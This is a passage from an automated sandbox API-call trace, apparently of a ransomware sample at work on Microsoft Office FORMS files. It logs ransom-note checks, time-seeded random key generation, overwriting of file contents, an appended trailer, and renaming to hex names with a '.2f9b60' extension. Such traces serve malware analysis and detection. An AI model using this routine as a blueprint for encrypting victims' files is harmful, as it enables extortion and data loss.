IoStatusBlock=0x3bc9f6f8, FileInformation=0x3bc9f708, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3bc9f6f8, FileInformation=0x3bc9f708) returned 0x0 [0143.887] NtSetInformationFile (FileHandle=0x1ebc, IoStatusBlock=0x3bc9f6f8, FileInformation=0x3bc9f708, Length=0x28, FileInformationClass=0x4) returned 0x0 [0143.890] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205070d0) returned 1 [0143.890] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ee90) returned 1 [0143.890] FlushFileBuffers (hFile=0x1ebc) returned 1 [0143.907] CloseHandle (hObject=0x1ebc) returned 1 [0143.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x205070d0 [0143.923] wcscpy (in: _Dest=0x205070d0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0143.923] wcscat (in: _Dest=0x205070d0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt" [0143.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\2f9b60-readme.txt")) returned 0x20 [0143.923] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205070d0) returned 1 [0143.923] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4af00) returned 1 Thread: id = 2209 os_tid = 0x1690 [0140.690] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\report.cfg")) returned 0x20 [0140.690] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG", dwFileAttributes=0x20) returned 1 [0140.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\report.cfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ea0 [0142.543] GetFileSizeEx (in: hFile=0x1ea0, lpFileSize=0x3cc5fac0 | out: lpFileSize=0x3cc5fac0*=781) returned 1 [0142.543] SetFilePointerEx (in: hFile=0x1ea0, liDistanceToMove=0x309, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.543] ReadFile (in: hFile=0x1ea0, lpBuffer=0x3cc5fa40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3cc5fa88, lpOverlapped=0x0 | out: lpBuffer=0x3cc5fa40*, lpNumberOfBytesRead=0x3cc5fa88*=0x4, lpOverlapped=0x0) returned 1 [0142.563] SetFilePointerEx (in: hFile=0x1ea0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.564] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.564] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267860 [0142.564] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267350 [0142.564] NtQuerySystemTime (in: CurrentTime=0x3cc5f980 | out: CurrentTime=0x3cc5f980*=132462177478018000) returned 0x0 [0142.564] RtlRandomEx (in: Seed=0x3cc5f970 | out: Seed=0x3cc5f970) returned 0x49ea21fc [0142.564] RtlRandomEx (in: Seed=0x3cc5f970 | out: Seed=0x3cc5f970) returned 0x7e59de20 [0142.564] RtlRandomEx (in: Seed=0x3cc5f970 | out: Seed=0x3cc5f970) returned 0x3ea193e2 [0142.564] RtlRandomEx (in: Seed=0x3cc5f970 | out: Seed=0x3cc5f970) returned 0x470fd35c [0142.564] RtlRandomEx (in: Seed=0x3cc5f970 | out: Seed=0x3cc5f970) returned 0x2ad3cbb [0142.564] RtlRandomEx (in: Seed=0x3cc5f970 | out: Seed=0x3cc5f970) returned 0x5ff6e9d0 [0142.564] RtlRandomEx (in: Seed=0x3cc5f970 | out: Seed=0x3cc5f970) returned 0x7007851f [0142.564] RtlRandomEx (in: Seed=0x3cc5f970 | out: Seed=0x3cc5f970) returned 0x99f449d [0142.564] RtlRandomEx (in: Seed=0x3cc5f970 | out: Seed=0x3cc5f970) returned 0x3f5fb8f3 [0142.564] RtlRandomEx (in: Seed=0x3cc5f970 | out: Seed=0x3cc5f970) returned 0x61507a84 [0142.564] RtlRandomEx (in: Seed=0x3cc5f970 | out: Seed=0x3cc5f970) returned 0x272ced34 [0142.564] RtlRandomEx (in: Seed=0x3cc5f970 | out: Seed=0x3cc5f970) returned 0x7c3ca80 [0142.564] RtlRandomEx (in: Seed=0x3cc5f970 | out: Seed=0x3cc5f970) returned 0x5302430f [0142.564] RtlRandomEx (in: Seed=0x3cc5f970 | out: Seed=0x3cc5f970) returned 0x55174bb0 [0142.564] RtlRandomEx (in: Seed=0x3cc5f970 | out: Seed=0x3cc5f970) returned 0xbb26dc2 [0142.564] RtlRandomEx (in: Seed=0x3cc5f970 | out: Seed=0x3cc5f970) returned 0x5363c5b3 [0142.564] RtlRandomEx (in: Seed=0x3cc5f970 | out: Seed=0x3cc5f970) returned 0x3e76bb22 [0142.564] RtlRandomEx (in: Seed=0x3cc5f970 | out: Seed=0x3cc5f970) returned 0x54aef9e3 [0142.564] RtlRandomEx (in: Seed=0x3cc5f970 | out: Seed=0x3cc5f970) returned 0x2227a9da [0142.564] RtlRandomEx (in: Seed=0x3cc5f970 | out: Seed=0x3cc5f970) returned 0x252e2553 [0142.564] RtlRandomEx (in: Seed=0x3cc5f970 | out: Seed=0x3cc5f970) returned 0x53282bb2 [0142.565] RtlRandomEx (in: Seed=0x3cc5f970 | out: Seed=0x3cc5f970) returned 0x4dd2eda1 [0142.565] RtlRandomEx (in: Seed=0x3cc5f970 | out: Seed=0x3cc5f970) returned 0x70660eda [0142.565] RtlRandomEx (in: Seed=0x3cc5f970 | out: Seed=0x3cc5f970) returned 0x18d2f460 [0142.565] RtlRandomEx (in: Seed=0x3cc5f970 | out: Seed=0x3cc5f970) returned 0x71ebff5a [0142.565] RtlRandomEx (in: Seed=0x3cc5f970 | out: Seed=0x3cc5f970) returned 0x129d1ed7 [0142.565] RtlRandomEx (in: Seed=0x3cc5f970 | out: Seed=0x3cc5f970) returned 0x7fd89de [0142.565] RtlRandomEx (in: Seed=0x3cc5f970 | out: Seed=0x3cc5f970) returned 0x22a86c64 [0142.565] RtlRandomEx (in: Seed=0x3cc5f970 | out: Seed=0x3cc5f970) returned 0x412ad100 [0142.565] RtlRandomEx (in: Seed=0x3cc5f970 | out: Seed=0x3cc5f970) returned 0x4eb5fbe1 [0142.565] RtlRandomEx (in: Seed=0x3cc5f970 | out: Seed=0x3cc5f970) returned 0x20b2ba85 [0142.565] RtlRandomEx (in: Seed=0x3cc5f970 | out: Seed=0x3cc5f970) returned 0x7446fc42 [0142.572] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267a40 [0142.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59d30 [0142.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266de0 [0142.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59d30) returned 1 [0142.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267350) returned 1 [0142.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.574] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82be50 [0142.574] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59d30 [0142.574] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.574] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.574] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4233d170 [0142.574] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42340d80 [0142.574] ReadFile (in: hFile=0x1ea0, lpBuffer=0x4233d170, nNumberOfBytesToRead=0x30d, lpNumberOfBytesRead=0x3cc5f970, lpOverlapped=0x0 | out: lpBuffer=0x4233d170*, lpNumberOfBytesRead=0x3cc5f970*=0x30d, lpOverlapped=0x0) returned 1 [0142.574] SetFilePointerEx (in: hFile=0x1ea0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.574] WriteFile (in: hFile=0x1ea0, lpBuffer=0x42340d80*, nNumberOfBytesToWrite=0x30d, lpNumberOfBytesWritten=0x3cc5f974, lpOverlapped=0x0 | out: lpBuffer=0x42340d80*, lpNumberOfBytesWritten=0x3cc5f974*=0x30d, lpOverlapped=0x0) returned 1 [0161.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3e60 [0161.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3e90 [0161.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3e90) returned 1 [0161.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42340d80) returned 1 [0161.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4233d170) returned 1 [0161.362] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59d30) returned 1 [0161.362] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82be50) returned 1 [0161.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x423a3e90 [0161.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82be50 [0161.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59d30 [0161.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3ec0 [0161.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3ec0) returned 1 [0161.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x423a3ec0 [0161.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3ef0 [0161.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3f20 [0161.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3f20) returned 1 [0161.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59d30) returned 1 [0161.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82be50) returned 1 [0161.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x423a8820 [0161.365] SetFilePointerEx (in: hFile=0x1ea0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.365] WriteFile (hFile=0x1ea0, lpBuffer=0x423a8820, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3cc5fa90, lpOverlapped=0x0) [0206.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c260 [0206.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f190 [0206.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264e30 [0206.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264e30) returned 1 [0206.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x42c0eae0 [0206.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264e30 [0206.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202674d0 [0206.886] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202674d0) returned 1 [0206.886] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f190) returned 1 [0206.887] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c260) returned 1 [0206.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9eaf0 [0206.887] sprintf (in: _Dest=0x1cd9eaf0, _Format="%c%c" | out: _Dest="dd") returned 2 [0206.887] sprintf (in: _Dest=0x1cd9eaf2, _Format="%c%c" | out: _Dest="df") returned 2 [0206.887] sprintf (in: _Dest=0x1cd9eaf4, _Format="%c%c" | out: _Dest="d2") returned 2 [0206.887] sprintf (in: _Dest=0x1cd9eaf6, _Format="%c%c" | out: _Dest="aa") returned 2 [0206.887] sprintf (in: _Dest=0x1cd9eaf8, _Format="%c%c" | out: _Dest="61") returned 2 [0206.887] sprintf (in: _Dest=0x1cd9eafa, _Format="%c%c" | out: _Dest="1c") returned 2 [0206.887] sprintf (in: _Dest=0x1cd9eafc, _Format="%c%c" | out: _Dest="ec") returned 2 [0206.887] sprintf (in: _Dest=0x1cd9eafe, _Format="%c%c" | out: _Dest="aa") returned 2 [0206.887] sprintf (in: _Dest=0x1cd9eb00, _Format="%c%c" | out: _Dest="c4") returned 2 [0206.887] sprintf (in: _Dest=0x1cd9eb02, _Format="%c%c" | out: _Dest="18") returned 2 [0206.887] sprintf (in: _Dest=0x1cd9eb04, _Format="%c%c" | out: _Dest="4e") returned 2 [0206.887] sprintf (in: _Dest=0x1cd9eb06, _Format="%c%c" | out: _Dest="9e") returned 2 [0206.887] sprintf (in: _Dest=0x1cd9eb08, _Format="%c%c" | out: _Dest="94") returned 2 [0206.887] sprintf (in: _Dest=0x1cd9eb0a, _Format="%c%c" | out: _Dest="b7") returned 2 [0206.887] sprintf (in: _Dest=0x1cd9eb0c, _Format="%c%c" | out: _Dest="82") returned 2 [0206.888] sprintf (in: _Dest=0x1cd9eb0e, _Format="%c%c" | out: _Dest="7c") returned 2 [0206.888] sprintf (in: _Dest=0x1cd9eb10, _Format="%c%c" | out: _Dest="f3") returned 2 [0206.888] sprintf (in: _Dest=0x1cd9eb12, _Format="%c%c" | out: _Dest="36") returned 2 [0206.888] sprintf (in: _Dest=0x1cd9eb14, _Format="%c%c" | out: _Dest="aa") returned 2 [0206.888] sprintf (in: _Dest=0x1cd9eb16, _Format="%c%c" | out: _Dest="2d") returned 2 [0206.888] RtlInitAnsiString (in: DestinationString=0x3cc5fb08, SourceString="dddfd2aa611cecaac4184e9e94b7827cf336aa2d" | out: DestinationString="dddfd2aa611cecaac4184e9e94b7827cf336aa2d") [0206.888] RtlAnsiStringToUnicodeString (in: DestinationString=0x3cc5fad8, SourceString="dddfd2aa611cecaac4184e9e94b7827cf336aa2d", AllocateDestinationString=1 | out: DestinationString="dddfd2aa611cecaac4184e9e94b7827cf336aa2d") returned 0x0 [0206.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x431f9f60 [0206.888] wcscat (in: _Dest=0x431c6d60, _Source="dddfd2aa61" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\dddfd2aa61") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\dddfd2aa61" [0206.888] wcscat (in: _Dest=0x431c6d60, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\dddfd2aa61.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\dddfd2aa61.2f9b60" [0206.888] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\dddfd2aa61.2f9b60", NtPathName=0x3cc5fab0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\dddfd2aa61.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x43128a20 [0242.659] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43128a20) returned 1 [0242.659] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x432075e0) returned 1 [0242.660] NtQueryInformationFile (in: FileHandle=0x1ea0, IoStatusBlock=0x3cc5fb18, FileInformation=0x3cc5fb28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3cc5fb18, FileInformation=0x3cc5fb28) returned 0x0 [0242.660] NtSetInformationFile (FileHandle=0x1ea0, IoStatusBlock=0x3cc5fb18, FileInformation=0x3cc5fb28, Length=0x28, FileInformationClass=0x4) Thread: id = 2210 os_tid = 0x1694 [0140.692] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resend.cfg")) returned 0x20 [0140.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG", dwFileAttributes=0x20) returned 1 [0140.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resend.cfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ea8 [0142.562] GetFileSizeEx (in: hFile=0x1ea8, lpFileSize=0x3cf6f860 | out: lpFileSize=0x3cf6f860*=779) returned 1 [0142.562] SetFilePointerEx (in: hFile=0x1ea8, liDistanceToMove=0x307, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.562] ReadFile (in: hFile=0x1ea8, lpBuffer=0x3cf6f7e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3cf6f828, lpOverlapped=0x0 | out: lpBuffer=0x3cf6f7e0*, lpNumberOfBytesRead=0x3cf6f828*=0x4, lpOverlapped=0x0) returned 1 [0142.577] SetFilePointerEx (in: hFile=0x1ea8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.577] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.577] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267350 [0142.577] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267470 [0142.577] NtQuerySystemTime (in: CurrentTime=0x3cf6f720 | out: CurrentTime=0x3cf6f720*=132462177478174000) returned 0x0 [0142.577] RtlRandomEx (in: Seed=0x3cf6f710 | out: Seed=0x3cf6f710) returned 0xf25fd28 [0142.577] RtlRandomEx (in: Seed=0x3cf6f710 | out: Seed=0x3cf6f710) returned 0x54b6767 [0142.577] RtlRandomEx (in: Seed=0x3cf6f710 | out: Seed=0x3cf6f710) returned 0x2eaf3304 [0142.577] RtlRandomEx (in: Seed=0x3cf6f710 | out: Seed=0x3cf6f710) returned 0x1c5564dc [0142.577] RtlRandomEx (in: Seed=0x3cf6f710 | out: Seed=0x3cf6f710) returned 0xc5307a7 [0142.577] RtlRandomEx (in: Seed=0x3cf6f710 | out: Seed=0x3cf6f710) returned 0x5ddf605e [0142.577] RtlRandomEx (in: Seed=0x3cf6f710 | out: Seed=0x3cf6f710) returned 0x664b391a [0142.577] RtlRandomEx (in: Seed=0x3cf6f710 | out: Seed=0x3cf6f710) returned 0x2c92ebff [0142.577] RtlRandomEx (in: Seed=0x3cf6f710 | out: Seed=0x3cf6f710) returned 0x4bac9dad [0142.578] RtlRandomEx (in: Seed=0x3cf6f710 | out: Seed=0x3cf6f710) returned 0x4edf9ca3 [0142.578] RtlRandomEx (in: Seed=0x3cf6f710 | out: Seed=0x3cf6f710) returned 0x22b100c [0142.578] RtlRandomEx (in: Seed=0x3cf6f710 | out: Seed=0x3cf6f710) returned 0x20a6d709 [0142.578] RtlRandomEx (in: Seed=0x3cf6f710 | out: Seed=0x3cf6f710) returned 0x29d748aa [0142.578] RtlRandomEx (in: Seed=0x3cf6f710 | out: Seed=0x3cf6f710) returned 0x40a38f16 [0142.578] RtlRandomEx (in: Seed=0x3cf6f710 | out: Seed=0x3cf6f710) returned 0x672e27a3 [0142.578] RtlRandomEx (in: Seed=0x3cf6f710 | out: Seed=0x3cf6f710) returned 0x34fbc0d9 [0142.578] RtlRandomEx (in: Seed=0x3cf6f710 | out: Seed=0x3cf6f710) returned 0x45b6c570 [0142.578] RtlRandomEx (in: Seed=0x3cf6f710 | out: Seed=0x3cf6f710) returned 0x63ebd7a [0142.578] RtlRandomEx (in: Seed=0x3cf6f710 | out: Seed=0x3cf6f710) returned 0xedb0c47 [0142.578] RtlRandomEx (in: Seed=0x3cf6f710 | out: Seed=0x3cf6f710) returned 0x71a84634 [0142.578] RtlRandomEx (in: Seed=0x3cf6f710 | out: Seed=0x3cf6f710) returned 0x4f426465 [0142.578] RtlRandomEx (in: Seed=0x3cf6f710 | out: Seed=0x3cf6f710) returned 0x3f92308f [0142.578] RtlRandomEx (in: Seed=0x3cf6f710 | out: Seed=0x3cf6f710) returned 0x28f93209 [0142.578] RtlRandomEx (in: Seed=0x3cf6f710 | out: Seed=0x3cf6f710) returned 0x1f78a386 [0142.578] RtlRandomEx (in: Seed=0x3cf6f710 | out: Seed=0x3cf6f710) returned 0x50071498 [0142.578] RtlRandomEx (in: Seed=0x3cf6f710 | out: Seed=0x3cf6f710) returned 0x335f6251 [0142.578] RtlRandomEx (in: Seed=0x3cf6f710 | out: Seed=0x3cf6f710) returned 0x2caa8d85 [0142.578] RtlRandomEx (in: Seed=0x3cf6f710 | out: Seed=0x3cf6f710) returned 0x52cd2cb8 [0142.578] RtlRandomEx (in: Seed=0x3cf6f710 | out: Seed=0x3cf6f710) returned 0x269f3f48 [0142.578] RtlRandomEx (in: Seed=0x3cf6f710 | out: Seed=0x3cf6f710) returned 0x1de73f31 [0142.578] RtlRandomEx (in: Seed=0x3cf6f710 | out: Seed=0x3cf6f710) returned 0x45cad58 [0142.578] RtlRandomEx (in: Seed=0x3cf6f710 | out: Seed=0x3cf6f710) returned 0x5eb2830d [0142.587] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202674d0 [0142.587] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59db0 [0142.588] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202675c0 [0142.588] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59db0) returned 1 [0142.588] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267470) returned 1 [0142.588] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.588] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bd60 [0142.588] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59db0 [0142.588] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.589] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42344990 [0142.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423485a0 [0142.589] ReadFile (in: hFile=0x1ea8, lpBuffer=0x42344990, nNumberOfBytesToRead=0x30b, lpNumberOfBytesRead=0x3cf6f710, lpOverlapped=0x0 | out: lpBuffer=0x42344990*, lpNumberOfBytesRead=0x3cf6f710*=0x30b, lpOverlapped=0x0) returned 1 [0142.589] SetFilePointerEx (in: hFile=0x1ea8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.589] WriteFile (in: hFile=0x1ea8, lpBuffer=0x423485a0*, nNumberOfBytesToWrite=0x30b, lpNumberOfBytesWritten=0x3cf6f714, lpOverlapped=0x0 | out: lpBuffer=0x423485a0*, lpNumberOfBytesWritten=0x3cf6f714*=0x30b, lpOverlapped=0x0) returned 1 [0161.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3f20 [0161.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3f50 [0161.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3f50) returned 1 [0161.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423485a0) returned 1 [0161.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42344990) returned 1 [0161.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59db0) returned 1 [0161.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bd60) returned 1 [0161.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x423a3f50 [0161.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bd60 [0161.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59db0 [0161.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3f80 [0161.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3f80) returned 1 [0161.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x423a3f80 [0161.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3fb0 [0161.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3fe0 [0161.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3fe0) returned 1 [0161.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59db0) returned 1 [0161.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bd60) returned 1 [0161.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x423a8930 [0161.370] SetFilePointerEx (in: hFile=0x1ea8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.370] WriteFile (hFile=0x1ea8, lpBuffer=0x423a8930, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3cf6f830, lpOverlapped=0x0) [0206.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c260 [0206.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f190 [0206.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9640 [0206.870] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9640) returned 1 [0206.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x42c0eae0 [0206.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9640 [0206.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9790 [0206.871] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9790) returned 1 [0206.871] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f190) returned 1 [0206.872] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c260) returned 1 [0206.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9eaf0 [0206.874] sprintf (in: _Dest=0x1cd9eaf0, _Format="%c%c" | out: _Dest="fe") returned 2 [0206.874] sprintf (in: _Dest=0x1cd9eaf2, _Format="%c%c" | out: _Dest="03") returned 2 [0206.874] 